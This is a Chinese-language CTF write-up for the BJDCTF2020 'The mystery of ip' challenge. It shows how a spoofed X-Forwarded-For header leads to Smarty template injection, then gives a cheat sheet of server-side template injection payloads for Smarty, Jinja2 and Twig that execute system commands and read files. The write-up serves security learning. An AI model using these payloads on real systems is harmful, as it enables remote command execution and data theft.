[BJDCTF2020]The mystery of ip(ssti模板注入题目)

项目场景:

链接http://node3.buuoj.cn:29669/index.php

问题描述:

观察页面找到三个链接,点开flag和hint看看,发现flag那个页面窃取了客户端的ip地址,这题的题目是“The mystery of ip”IP的神秘,看来解题是要从这里入手了。

尝试解决:

既然是窃取了IP,考虑是不是XFF或Client-IP这两个header,发现这个IP确实可控,0.0,感觉可以冲了

我想到的第一个就是之前看到的sql注入的http头注入,但是也只是想想罢了,再看看其他方法,试试xss???
[BJDCTF2020]The mystery of ip(ssti模板注入题目)_第1张图片
我是**,最后想到了ssti模板注入。

解决方案:

[BJDCTF2020]The mystery of ip(ssti模板注入题目)_第2张图片
做题前可以把模板注入先了解一下。
然后就开始测试是哪一种模板注入
[BJDCTF2020]The mystery of ip(ssti模板注入题目)_第3张图片
[BJDCTF2020]The mystery of ip(ssti模板注入题目)_第4张图片

经系列测试知道是smart注入,Smarty是一个PHP的模板引擎,提供让程序逻辑与页面显示(HTML/CSS)代码分离的功能。
解题开始:
输入第一个payload查找目录文件找到flag.php

{{system('ls')}}
或者用if语句
{if system('ls')}{/ls}
能用简单的谁会去用难的呢

[BJDCTF2020]The mystery of ip(ssti模板注入题目)_第5张图片
再查看这个flag.php的文件就好
payload

{{system('cat /flag')}}
另一种写法我就不写了,自己可以试试

[BJDCTF2020]The mystery of ip(ssti模板注入题目)_第6张图片
得到flag

结尾总结:

最后说一下,ssti模板注入的语法挺多,就smart注入的语法就完全不止在上面看到的那些,自己有空最好下来看看,我这里也给自己总结了几个。

Smarty模板注入:(我这里做笔记的时候全用的if语句就不改了)

{if phpinfo()}{/if}
{if readfile(‘文件路劲’)}{/if}
{if show_source(‘文件路径’)}{/if}
{if passthru(‘操作命令’)}{/if}
{if system(‘操作命令’)}{/if}
等等等等等等等等。。。。。。......

Jinja2:

  Python2:
#(system函数换为popen('').read(),需要导入os模块)  
{{''.__class__.__mro__[2].__subclasses__()[59].__init__.__globals__['__builtins__']['eval']("__import__('os').popen('ls').read()")}} 
#(不需要导入os模块,直接从别的模块调用)
{{().__class__.__bases__[0].__subclasses__()[71].__init__.__globals__['os'].popen('ls').read()}}
#常用的py2 EXP
().__class__.__base__.__subclasses__()[59].__init__.__globals__['__builtins__']['eval']("__import__('os').system('whoami')")
  Python3:
{{().__class__.__bases__[0].__subclasses__()[75].__init__.__globals__.__builtins__['eval']("__import__('os').popen('id').read()")}}

Twig:

{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}}

你可能感兴趣的:(ctf,web,笔记,php)